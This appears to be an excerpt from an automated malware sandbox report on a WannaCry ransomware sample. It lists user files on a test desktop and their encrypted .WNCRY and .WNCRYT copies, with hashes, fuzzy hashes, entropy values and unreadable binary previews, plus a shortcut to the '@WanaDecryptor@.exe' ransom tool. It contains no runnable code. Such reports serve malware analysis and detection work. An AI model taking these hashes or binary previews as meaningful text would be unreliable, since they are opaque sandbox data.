                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\Desktop\ZTGJILHXQB\IPKGELNTQY.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.811297070738711
                                      Encrypted:false
                                      SSDEEP:24:BPpXXg4QzRaKGfiQhaeQlKrMKBcy9Iet1fbIYNV:BPZwALMeQl0L+1a1MEV
                                      MD5:FDA44CD027FBDD193F602DC5C320AAFF
                                      SHA1:7E340F50EE8791630B743DD0D119C6144142B212
                                      SHA-256:C7C335DDF4D915C57521434DC48DEE486532B8D328B77759963C813BEA0FFBBD
                                      SHA-512:1BD3E1E51C1F0B1C3E51CD4DDF90AB99F3657D0BD793482C5CDC2CAE5DC7D60ECAE28D85F7924A72D965FD8D5F5A91729344683AB9CC57EB707C28B89DDD9354
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...{.5.B.j.u.M.M.fb.Z.^n>..CC..XL7...>..w]{Y.S.....m...O..D..`.%.V..O......u.:Y...."a/..0yQ.J~C.G.9.+*R.....SN.S.F.}......#.@...Z.....>....2.9...9k..R{.E.......I.eJ.....g6.}i...h..$...c............l.......0.6:xQ......iR..D....0...;c.rSW<b....V.3.J...P. p.S./(~..4.H..q>$j..-5q.....~./-.&d.4].4.t?.'Q.M...0d.&NO......X9.Iw.../.M.=_......2._5#w...08.....ua......z.f..ew.WQ.3.3.....2..oe....9.\.~...........t4....Y[.p'...{.7T.%..fe.-I#r!.....:...+...$s...5.w....r...L.F.../3.N/..*......Lz.Y..g.N.7.@...........IT.+..{..d....MGH...........:.ra_%.....$.0=eC.A..P.{..Yw..p:..}.X.9.f.bu.3..D..u.....9'Z.ub...M.....:...H.D..}q.T!P4.2.......tK.P.5...9n...{h..p....uV.....}e.LmZ.MG1e.(.... .2...E....o..T`.'|..+..."{..zcp.A..#......+...d....eI....w.r.N.2.....o....J...r..hG.m#........=.o.Us?I....+|*..z.1.P.m:&K.N...ewjSS&./.|.sD...d..T.=..T[.AV5f.Kg'R.u..O...L.7Y}....\...|...tZ..V....!.&~.>..W.. ....GB..gjs."d.....F.....C...F.(B.....3*+.....R..20f..o;.:.@6..[d.]c.

                                      C:\Users\user\Desktop\ZTGJILHXQB\IPKGELNTQY.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.833354507724461
                                      Encrypted:false
                                      SSDEEP:24:bkQaULvsM3cAZesnD/dN51hiaivF7HVUckF5tTI2mU20pJfNizhXxjG4E:bkesceshMd5UIHWfktXxy4E
                                      MD5:EC67D5189149CBD32384D6F13D702CC3
                                      SHA1:B1E9417D40AE09FBD7FDDD700A37F7293C82F426
                                      SHA-256:30191239C99330EC85F952FB8AC84601D904EA1D5CDB50BFBA68EA7E1A8940CC
                                      SHA-512:D157EF0DB8A19E6B6DFB7B517666C94CB306121231DC7D9FD2F95A54CF11771F3A70A5748DB7383BFB3DAA2771742DD58C0127633FE55BB78DBBD0BA632EED18
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....}.,7.c....|7V.{;.><...l.z..]G.8...?..}..Q.}.P......6...^.'.Jg<.(k..F....O.l..G...5...u.yoR7._.q.....N.%..8.\.....Xp.{.Gz0.oQ.5..N...0Xe7._.xf.......:1.C..`R...Q).O."Oe/].cw#k..+;..f.J..P.F{....K......DF..P...+|.c..v.*.w.`...0....8g..`H...Az..N................L...5c|.G:..e...$...y.<G.r.G...[$l..3K]J..m?....'....xD..Jf.}vH.t:.y.....S....r._."...V..nO....x:i.X...(4oA.....o._..X..vJC.Z..M.).._.].n[,.O....!.!H[S.0......@.......Z.6.........B.V..?2.....|+..S.=.<.(fn.\...1..k......p.v.....u=.@.$.......q>.o<...}=)K........`].!.kB>..m..{.u.....a.vE....q........?.a.=..g...).j.D.......i.$]m..QH...9!p..]Qc....(.l.....*.....3'..r.2..qXp.Pl........P..........{...j6............8.(9.pWi.Df...dt..A....t.....cx..T...uq..;..D...H..r....0U2..._.X..d.B_..*\s..c..(.&k.t{.W.[..Q.....'a.B...7..E[..sY...k.k./..i~.v..k.nP+V...N......B..9vW....<U.b.9.)l.......~...A......sD.`.E......W.%..pm...U...y.....k..@v.5...4!jZ]..[.....#......0.:..7.pP|../...T...

                                      C:\Users\user\Desktop\ZTGJILHXQB\IPKGELNTQY.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.833354507724461
                                      Encrypted:false
                                      SSDEEP:24:bkQaULvsM3cAZesnD/dN51hiaivF7HVUckF5tTI2mU20pJfNizhXxjG4E:bkesceshMd5UIHWfktXxy4E
                                      MD5:EC67D5189149CBD32384D6F13D702CC3
                                      SHA1:B1E9417D40AE09FBD7FDDD700A37F7293C82F426
                                      SHA-256:30191239C99330EC85F952FB8AC84601D904EA1D5CDB50BFBA68EA7E1A8940CC
                                      SHA-512:D157EF0DB8A19E6B6DFB7B517666C94CB306121231DC7D9FD2F95A54CF11771F3A70A5748DB7383BFB3DAA2771742DD58C0127633FE55BB78DBBD0BA632EED18
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....}.,7.c....|7V.{;.><...l.z..]G.8...?..}..Q.}.P......6...^.'.Jg<.(k..F....O.l..G...5...u.yoR7._.q.....N.%..8.\.....Xp.{.Gz0.oQ.5..N...0Xe7._.xf.......:1.C..`R...Q).O."Oe/].cw#k..+;..f.J..P.F{....K......DF..P...+|.c..v.*.w.`...0....8g..`H...Az..N................L...5c|.G:..e...$...y.<G.r.G...[$l..3K]J..m?....'....xD..Jf.}vH.t:.y.....S....r._."...V..nO....x:i.X...(4oA.....o._..X..vJC.Z..M.).._.].n[,.O....!.!H[S.0......@.......Z.6.........B.V..?2.....|+..S.=.<.(fn.\...1..k......p.v.....u=.@.$.......q>.o<...}=)K........`].!.kB>..m..{.u.....a.vE....q........?.a.=..g...).j.D.......i.$]m..QH...9!p..]Qc....(.l.....*.....3'..r.2..qXp.Pl........P..........{...j6............8.(9.pWi.Df...dt..A....t.....cx..T...uq..;..D...H..r....0U2..._.X..d.B_..*\s..c..(.&k.t{.W.[..Q.....'a.B...7..E[..sY...k.k./..i~.v..k.nP+V...N......B..9vW....<U.b.9.)l.......~...A......sD.`.E......W.%..pm...U...y.....k..@v.5...4!jZ]..[.....#......0.:..7.pP|../...T...

                                      C:\Users\user\Desktop\ZTGJILHXQB\PIVFAGEAAV.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.793989523723547
                                      Encrypted:false
                                      SSDEEP:24:0punmbJzfA5JaPtrLUc6lNDDAcRmzuGheu92clH+O:0pWm1A5JE5QllN/APzu8X92clJ
                                      MD5:7217401A180BAC1C8B49BD21948A89A2
                                      SHA1:05F80B6CDDC7C3DD6B27453CE248E85F8B9892A9
                                      SHA-256:000EB076DC6F8438B0C41B8C610690B67B3D557A0D44030A9CD34BFE7362C1E3
                                      SHA-512:85E0A4570976202AB7EF4AA16C7154C2545FC8CAA9E1DA2F69FE6D2B8BC50BA18B5B375595D225092BFB22FCC11257EE27280309425F288DAEC67EB0EE953B6A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..<......R.5...;WH.....n$nG...P=7|q7.*.......]-.i'("...C. V.j.d.6.....v.\_.=..*.....VK....H.y....h..d...x..Lp..K..(&Wx...Y..n...h....0.....I.qZ.6..e{..Gah..F3.[..%.8n8...Ljwcq.-.G%|=.).(:..:.y..a.0...*78.pm..h....%.>.e..u...sG..+>`..V.$y.....=.an..!..&.8CK.;.YB.M.V*Vnm....\\T>A..|...&.b.h..\.....c...9A.....S...............4.g#.....B'.!Q.D.8..JY.R..l.8..V*t....T...A...nk.9...i..D=1..k..K....?_..............NN...l.>bZ&...8..+.6A. ..O.^.o.w..8..]._. .....ir..`.bH...5p...q..A..A...N...S.....gr....5....._.t.\.u.6W....Sz....ak@..h\F..r..0....P.(WX....Z%\n.&..(...jX.5A.{...5.z.F.>........:7..di.s..pe...>g....M..d.~.TTx~...xvA..I.....lE......&...6...i..p...FX..fZ.z...G..r.U......A...V.0N...s.']8T..^{...|.n.o6<.49...(..k.f.x3.N ..o].WH.)..g.b%..y.....\^*.#.&...W.L......W.s#..l.%....{AD.... .M_.<|.U5u.]p..*v.e...`.PH..r...'..Z%..f3..P..L;........}H1q.....q..L..d*...........i...X#.l+......3=.....<.]..}JP{.u.s...0..h...m.l[..O...k.<...}(.{.

                                      C:\Users\user\Desktop\ZTGJILHXQB\PIVFAGEAAV.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842481762637189
                                      Encrypted:false
                                      SSDEEP:24:bkVeiT62dMGyducavj6gSzjHfX2YagA0WqYUtvRXZFEC74cm+i4dtBFY5k:bk4iRqGydVar6gkHfjXfXP3EC4vOFY5k
                                      MD5:2CFFBD3690DC4AD69036EB58A3122A3B
                                      SHA1:B6D780C602AB0F55DF8D679370CA383549E2950F
                                      SHA-256:269EF767C5FB59C37A69FE40248C8D15BB827DDF0A74F94B2346ABCACC93AFDD
                                      SHA-512:DBC20F4D6895FDBE27DACE625EF82F9718117F833B9AE67986583010385966032527F722A597A6AB9C2FCD4FE09D062FCC768914A404BA51B5BC3D820A7C7615
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!............q`^'.....q.M..l<../^.>j...N7L+.....B...'...Dv.0hi.xL.......N'.h).@.t^....7........o.L6.s....~6.C..w.w/ras..H.M..e..LO"..t#.~'..j....,..t{*......P...."....i..8.eV.>.b8.|.{W...t.5.....:......`..LcE..f2..(.U....,.....?z...../R.3.)..l`{.t.............`bh.tNR+h[.I.`.!f%3......$*F..!..-...4..*..q#.>.2.........2..!...*If...9..-^.*+......IC<..&.j..O...oQFN.d.2../J.an5\..Z[..M.....m...o.7..L.i...H..".K......R...^J.....Q5...L3........w..u.B#.%h..rr".g.*.a7.(s6.;.......e.R..^.2..A.l.=:V....{pjP.\.-..z.w......,5Bh.._...3....r;..a.h....N.6..N0.l.*...g.ir..-e.U@.4...Oq.3.9.[..N..%m..tA..B...:~)7...J..../..[mR..q..`..+.9.9....!...%..R...;.Q...m..2.=..R...@' h....;.v..C*....>........#.......>.... ...]..q.....$.K..^.....U.U.j8D...+Z....Ov.....G.F..j.`....A.#.!0d.8A.U..TXa.h6d.x^4.^..\..Yo...L.1..9.e..z..}....C..w,.{h/..*........q.sxjC(1.L..O?I1z..{...:.c.1...H....Q.....v.,..,<G/.d.n.n.GIB..c.E....GN.."....D..c.4].a.....C.V..OJ...%KQ...,

                                      C:\Users\user\Desktop\ZTGJILHXQB\PIVFAGEAAV.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842481762637189
                                      Encrypted:false
                                      SSDEEP:24:bkVeiT62dMGyducavj6gSzjHfX2YagA0WqYUtvRXZFEC74cm+i4dtBFY5k:bk4iRqGydVar6gkHfjXfXP3EC4vOFY5k
                                      MD5:2CFFBD3690DC4AD69036EB58A3122A3B
                                      SHA1:B6D780C602AB0F55DF8D679370CA383549E2950F
                                      SHA-256:269EF767C5FB59C37A69FE40248C8D15BB827DDF0A74F94B2346ABCACC93AFDD
                                      SHA-512:DBC20F4D6895FDBE27DACE625EF82F9718117F833B9AE67986583010385966032527F722A597A6AB9C2FCD4FE09D062FCC768914A404BA51B5BC3D820A7C7615
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!............q`^'.....q.M..l<../^.>j...N7L+.....B...'...Dv.0hi.xL.......N'.h).@.t^....7........o.L6.s....~6.C..w.w/ras..H.M..e..LO"..t#.~'..j....,..t{*......P...."....i..8.eV.>.b8.|.{W...t.5.....:......`..LcE..f2..(.U....,.....?z...../R.3.)..l`{.t.............`bh.tNR+h[.I.`.!f%3......$*F..!..-...4..*..q#.>.2.........2..!...*If...9..-^.*+......IC<..&.j..O...oQFN.d.2../J.an5\..Z[..M.....m...o.7..L.i...H..".K......R...^J.....Q5...L3........w..u.B#.%h..rr".g.*.a7.(s6.;.......e.R..^.2..A.l.=:V....{pjP.\.-..z.w......,5Bh.._...3....r;..a.h....N.6..N0.l.*...g.ir..-e.U@.4...Oq.3.9.[..N..%m..tA..B...:~)7...J..../..[mR..q..`..+.9.9....!...%..R...;.Q...m..2.=..R...@' h....;.v..C*....>........#.......>.... ...]..q.....$.K..^.....U.U.j8D...+Z....Ov.....G.F..j.`....A.#.!0d.8A.U..TXa.h6d.x^4.^..\..Yo...L.1..9.e..z..}....C..w,.{h/..*........q.sxjC(1.L..O?I1z..{...:.c.1...H....Q.....v.,..,<G/.d.n.n.GIB..c.E....GN.."....D..c.4].a.....C.V..OJ...%KQ...,

                                      C:\Users\user\Desktop\ZTGJILHXQB\QCFWYSKMHA.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.829606086570844
                                      Encrypted:false
                                      SSDEEP:24:DyRtX1OLSgGdy8gjA36E2Y1YFd7Nu7I3+jV0z4xGP:YtFRg2WVY+b7MIyVpQ
                                      MD5:C4B88FA743ADAABF5158F108290E1B2E
                                      SHA1:4CF1A71CFDE8F21F4D0676D83A68FC22C9A3FA8B
                                      SHA-256:78B16616FF4E04102802219AE3D93CFE76580E60424ED3759A956D13A70BDDEE
                                      SHA-512:926627C0828009ED625537135D2CD73B57B45FE41E6117580BAE49788B69909DD509A4711C609EA28E55CF455D238BB2E0F50259CD89FC1E60E34E4B9D116A82
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:^ ..!.v%.f33....3..T..|..U.Kv........k.....`w..uqlc..q .3...._A....^.._Y.`..C`..u..3g...<.b..#..Z...{..r.E....A.........);}_..D...O.....".{...,O...2.C.`.bbI.;..'^+Q..J......A..4./PD.$...I.i.....GTbj9.K......%.....Ck/w.p.?.>P9#.-U.w..f...1..4.......^...{..i_.02.f_-.[w.%.....M.z....g..p.-h........(R_........#.......Y.H.l]..,l..O....P...D../.......a.....G..."..ZG....c.p.@4............T...2?.?...e.\..H....Vq<A...Ru.....D.}d.6.A.{fn.,.~Cu.=...........:.+.A^zlL{[..._......7g..6..G.y._-.7..*.+.s..t...JN..i.\.C..^b.C......g}Q,..Y..Z..!.).......i..m.x.._....>-.2.S....w.#...0+..:.P....} ll(..#....6../..G.w..?......u.....B..B.c....~.j...W2'@qF;.....F...P......7k..J.....7.F.Kp...ii..3.47.r.I~....*.....].w..:..].=J.l...w...Df.8..<...b...."..Z{....]# ....I.L.V.e6a..m.V.h.nNJ.vx..Rm..;...?k.k..p...X...H.3....H..>.^.M...B....^.u%&.AE@......G..(v....*.7b$zx.k...N.F...."G(nJ.c.0a...:.uE..y..4.....u.=.......0.|3......f.x(.V..5Yd.....Q......Fr4.....H|..

                                      C:\Users\user\Desktop\ZTGJILHXQB\QCFWYSKMHA.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850888142450273
                                      Encrypted:false
                                      SSDEEP:24:bk7Rwte1z6mb2dFhS1RMdzctL2Q4oWvXKNnlQ1gEIJj10BTbug+F1+6qa:bk7RfEmKgvBoqWvXmniiVjSTb2+6qa
                                      MD5:44AF9BD076DE1CFBFACAEDF1C37C943A
                                      SHA1:54FA95DF063BC368B323208ED509029F1596BB52
                                      SHA-256:9B56B35DFD1618B9450832E4835DC5C07242892244B43112D1BD02E3F1FD4FD4
                                      SHA-512:2F4CD60EDC0BFB26B13A1A4080226DA503CD4DAB0CB3CB783DDF47883A973E60DA3AEB1B2CBEEE32E96A9CFA881A28D17A76E51A2B53A326AF5DD3EF2D3EF7F6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......6....:'@..KH&....D.!Z6.>0......%.7..n]..B....{...2..W.c.;#}S/5{TD.....=...].......tkb|.../.~.~w.L.j.L.9...xOn..4......$..|..9J..O..7"&*k.......N..v...~..W8)PO.h7\..>,";.n1ub.&.v3X..\.........+..[.F.N.V.Jd....y..o.|E[......hlZ.m.:T.bl..5..".............7. .......o....92.....a."H.\.....WK,1/.....6.iWJ;..,..r=....t9.O'.u.1~......xo.U'9..X..x..$..P.!....K/..}.......)#...}=4|...Uta.............]..Y....<Z..V...R.yO|.M Z.h.:....:..v..M..:L}....$.. ......=.8.8.<.\..@2......p..'...l#j}..9.9.,.^.,O...9......y...c.o.'F.5..A_...G.:.Sb.F9.XP~...e..=....~...t...D..7.v..HC........M..u..S$.<c.....w........X..\.;YZ..C: $x....C`t.+$@.....,...-.F...G..Xj..$.")0..^x7)....-V?.`.m.'....2.v|..-..zR.B.@.^......5j...r..Q..gh.....6K..>....2..II...U.\j-J..].N....%.....juY.l.....~>..Ew....mZ...:/......]..3.Y.hH...}o.~.7...t....")..I..&........ ..@.&.L.........5. ...=..y...Lo.#.d..2[.8..kx.n.0Mk..C.....].Q.s5Q..a..).z..A........".3a"..Hh.i...Oqp&^_.*X

                                      C:\Users\user\Desktop\ZTGJILHXQB\QCFWYSKMHA.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.850888142450273
                                      Encrypted:false
                                      SSDEEP:24:bk7Rwte1z6mb2dFhS1RMdzctL2Q4oWvXKNnlQ1gEIJj10BTbug+F1+6qa:bk7RfEmKgvBoqWvXmniiVjSTb2+6qa
                                      MD5:44AF9BD076DE1CFBFACAEDF1C37C943A
                                      SHA1:54FA95DF063BC368B323208ED509029F1596BB52
                                      SHA-256:9B56B35DFD1618B9450832E4835DC5C07242892244B43112D1BD02E3F1FD4FD4
                                      SHA-512:2F4CD60EDC0BFB26B13A1A4080226DA503CD4DAB0CB3CB783DDF47883A973E60DA3AEB1B2CBEEE32E96A9CFA881A28D17A76E51A2B53A326AF5DD3EF2D3EF7F6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......6....:'@..KH&....D.!Z6.>0......%.7..n]..B....{...2..W.c.;#}S/5{TD.....=...].......tkb|.../.~.~w.L.j.L.9...xOn..4......$..|..9J..O..7"&*k.......N..v...~..W8)PO.h7\..>,";.n1ub.&.v3X..\.........+..[.F.N.V.Jd....y..o.|E[......hlZ.m.:T.bl..5..".............7. .......o....92.....a."H.\.....WK,1/.....6.iWJ;..,..r=....t9.O'.u.1~......xo.U'9..X..x..$..P.!....K/..}.......)#...}=4|...Uta.............]..Y....<Z..V...R.yO|.M Z.h.:....:..v..M..:L}....$.. ......=.8.8.<.\..@2......p..'...l#j}..9.9.,.^.,O...9......y...c.o.'F.5..A_...G.:.Sb.F9.XP~...e..=....~...t...D..7.v..HC........M..u..S$.<c.....w........X..\.;YZ..C: $x....C`t.+$@.....,...-.F...G..Xj..$.")0..^x7)....-V?.`.m.'....2.v|..-..zR.B.@.^......5j...r..Q..gh.....6K..>....2..II...U.\j-J..].N....%.....juY.l.....~>..Ew....mZ...:/......]..3.Y.hH...}o.~.7...t....")..I..&........ ..@.&.L.........5. ...=..y...Lo.#.d..2[.8..kx.n.0Mk..C.....].Q.s5Q..a..).z..A........".3a"..Hh.i...Oqp&^_.*X

                                      C:\Users\user\Desktop\ZTGJILHXQB\UOOJJOZIRH.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.790723746512218
                                      Encrypted:false
                                      SSDEEP:24:xf+nPbcVbrmznkGAA9uLkGmDDN///m/gjWFkE1sLMbm9D0p:xfQR7kQGmDDpm/gjWO9bO
                                      MD5:868BE4E8DFC8845A0AC7A009DE73A85E
                                      SHA1:DF71F707CA03EC2EFB616435AD2208BDB87945F6
                                      SHA-256:EDCE274DF72BBDE05A2F78B25FA694DB59E27C2A01EBFD9BB5FC2DD879B0839E
                                      SHA-512:E32959D68DD014C3F3EFD98BE448D88245288665AE006205C30EC4CCF0C85031DC5182A501C3AF376CF8D932E96505D84D74F4D4F5FDFF42FDEA264619467241
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:F..z..Yo.,I.....oV^.{....%lc...C.n.).&X.n.1:1.....y..o..TY..8t...k..@|..8.i...A.O......e0x{7...8..H(.....N.\..f.d<M..]..]>|.Ze.....x.x.XS.......N.-.ZLD...^..9..$.....O.(.x(p...6T....j.y.r..b..y.......j.(4M....qxo.0...TM.H....]z...i....g....v0)..2Z@.........(.Bd.V...-.a..sE..._.5..g,z.v.f.....q.:...S.-...T.pc=...y.z4..i....yP'k~\....~.ZV.L..G.a...U[...9....4........C@..X./...~.9.Z....:m..oP:.1._...O3F.*...L...R.........c.......1.cO{..S........;......+.B..v..~...'".....T..0..4"D.....T.S.>c-L../.._...xK.....v.V..3.-......'`.gPZ...KR,...<..K<....e.0.a..7p...l..K.s.2U....c.....qx_..g."..8!.TI/L.{.w}...6...X.B6...?.<..R.+.j..H...\5.6T.xn.X.......mzd-........X.y..WJ..|&.w%{9.F...0...L...)U.^=A..oO..^.^....Qlo..X.D...'..z.~,..CC.K.>..Y<.6$.......l.+...=!...<......^;...L.........9....][...y8.o.q.r.].....+........KY3o....y.jK.Mw.t.jU...7.. M9.\...5.LZq'.EO .}.c.00...POE......V.V.4I.=.8n..U.).7.\.0.2....r.%<......XM;..3@....9.\.CE8.4...[^...Q.Ar..

                                      C:\Users\user\Desktop\ZTGJILHXQB\UOOJJOZIRH.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.832729211587274
                                      Encrypted:false
                                      SSDEEP:24:bkBUaXhaBnQMm+ARwKdHj15S82blOz+wUEZ8i5dc0Nu6hCpko4cv:bkB1oBnPfChFkwdUgRcF6m1V
                                      MD5:1E556B159112BB7E23D42AE326DE62B2
                                      SHA1:7240EB01945ACB8266F72F561B4FA57B09D0DA42
                                      SHA-256:FC2F53583A957EA939E7DD679938BDD815339AA0B6C5E76D8476E7194C9E7E97
                                      SHA-512:F367A8AE2CFAAD31C15DE19E2212818022228C325CD14D890AF2D3CA8441259B9CCF762CAADBFA075EC04435E6D78453A4651B8E4B5091DCE6428187B9E45873
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....cF7..;....d.....s;_-..G/Mk.e.J..`.+...P...m....}z...\}...............&..0a..M}u...<.H..Ih/X......).V.8d..e.a..V...$.W...%..:..0~h. g.<G"I..GR.\.......yl......./.P..0.Z..,..."..MD.<....}A.} ...X....g=.J.U....'....d..]......v....e|..R..3.v............Q}.m..;<......mMZ.P.V.R...!.....6..........4....,...O..Q...........[.:Dl.....%M...n.,.......x..Q.?w..._?NDf...$...1...q..?`....B..b...T...3..$. ....N.aIr......<..>G...L.4SL..]Z.........P......a...._.G&D.^.1.2...pC....(..........].....?1. .qd&.CS..Q...........GC..7+..ML..7t"f.(N....._GL%.B.I..'.......g..iD.Q..5\S...NY........G..$.....XL..Ce!........P.....@jn>.....mY.;e..`PH..wQ...qx.VZ(|..g#\.[.....'.....i.....a...0.l. .q}...~.qs.s7...`H.~...\..."...\..&..*..%K.vV.8...%.?.....f.fw.6KG....5.....2..`....d..!..;*}"..&.....p....b........iHt.X(.nU.5\tJ...H.XsSi......G.....ZJF..*.e..=...._jMx...~........f&...Wh4.26"..Q.h-.&E/R.7s...H.^..$.*...@.....d.x.(G...x/..c...7JY".Gq.^..+Ur...G..r.Q...

                                      C:\Users\user\Desktop\ZTGJILHXQB\UOOJJOZIRH.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.832729211587274
                                      Encrypted:false
                                      SSDEEP:24:bkBUaXhaBnQMm+ARwKdHj15S82blOz+wUEZ8i5dc0Nu6hCpko4cv:bkB1oBnPfChFkwdUgRcF6m1V
                                      MD5:1E556B159112BB7E23D42AE326DE62B2
                                      SHA1:7240EB01945ACB8266F72F561B4FA57B09D0DA42
                                      SHA-256:FC2F53583A957EA939E7DD679938BDD815339AA0B6C5E76D8476E7194C9E7E97
                                      SHA-512:F367A8AE2CFAAD31C15DE19E2212818022228C325CD14D890AF2D3CA8441259B9CCF762CAADBFA075EC04435E6D78453A4651B8E4B5091DCE6428187B9E45873
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....cF7..;....d.....s;_-..G/Mk.e.J..`.+...P...m....}z...\}...............&..0a..M}u...<.H..Ih/X......).V.8d..e.a..V...$.W...%..:..0~h. g.<G"I..GR.\.......yl......./.P..0.Z..,..."..MD.<....}A.} ...X....g=.J.U....'....d..]......v....e|..R..3.v............Q}.m..;<......mMZ.P.V.R...!.....6..........4....,...O..Q...........[.:Dl.....%M...n.,.......x..Q.?w..._?NDf...$...1...q..?`....B..b...T...3..$. ....N.aIr......<..>G...L.4SL..]Z.........P......a...._.G&D.^.1.2...pC....(..........].....?1. .qd&.CS..Q...........GC..7+..ML..7t"f.(N....._GL%.B.I..'.......g..iD.Q..5\S...NY........G..$.....XL..Ce!........P.....@jn>.....mY.;e..`PH..wQ...qx.VZ(|..g#\.[.....'.....i.....a...0.l. .q}...~.qs.s7...`H.~...\..."...\..&..*..%K.vV.8...%.?.....f.fw.6KG....5.....2..`....d..!..;*}"..&.....p....b........iHt.X(.nU.5\tJ...H.XsSi......G.....ZJF..*.e..=...._jMx...~........f&...Wh4.26"..Q.h-.&E/R.7s...H.^..$.*...@.....d.x.(G...x/..c...7JY".Gq.^..+Ur...G..r.Q...

                                      C:\Users\user\Desktop\ZTGJILHXQB\ZQIXMVQGAH.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.840317688939391
                                      Encrypted:false
                                      SSDEEP:24:UbA0zyBsaT8YRok1gWpOvKJtlVmw19KxNCn4+wk/x2xNQxQDtYWuFGbPiNn:gA02/TtRXpOvKBVmDCn4+waxV+1uFsE
                                      MD5:242F7428AB15985983D1F7BC5805706E
                                      SHA1:B6D0EA8F8F4A2B042A75F9DADBFEB24AEED57E3E
                                      SHA-256:C97AD44C8FA821C0ED080D5580D951C550390D03A60CF85D365A7A70F88D6DAB
                                      SHA-512:A8DE32FC3A55D0C937D50AD6E9858CF50304C17739DB3A8719F80D46200F7843740149A44FD09A8E3A1BECF51482835355F44AFA01A72B90CCA59FF2556D773A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.M.....Q.7i.........:C.....t..MD.P.x...2.B..E......+$0..m~.u.}...fk..v..C +b..,....EeDW..1...}\..U....H7..tP(....3..o.......l5/.~......A .....ofoB.....y......$nl....Y,.9?......"........&Eg.P.{.#....|..8......4...aq...Z.W..r..{..pM.\..zC.j.$..HT...=.G..G..E.:..rv..k....0.N..".tC[.E..._.|...'.aZ..Z...(.'......|....*.P(.}.G6=.*.Q.{(v.8(.k.H.]..@g.....].A>....B.*u........0.\D.p.Ma.7.g.......isR..O.....m.>+.d... ./.r.m..D.0.=....S..Q..0S.....aK..].....\...Z4..3..e.YPe..%G[...."../k....>..J....%..m......$.Q.CG9.f.&D>....5.9.#6....V;...bxo.!.[P..........)..@.~..~..29..b.4......Z.n..?'.D>w.=t;5...xj.}x6.I(.s...J.....9.MQ.G..$.c........Q.m.L.......}.._.z7A....4A7%..<.&..Q3..NO ]..'.'=}h..!=5C().X....3...^..A..9V... .?jI.j......"...N.6..y.....+..c.....5....!............+.....Q"O.g=.....u..z..B.s4......N............r..<_L......# 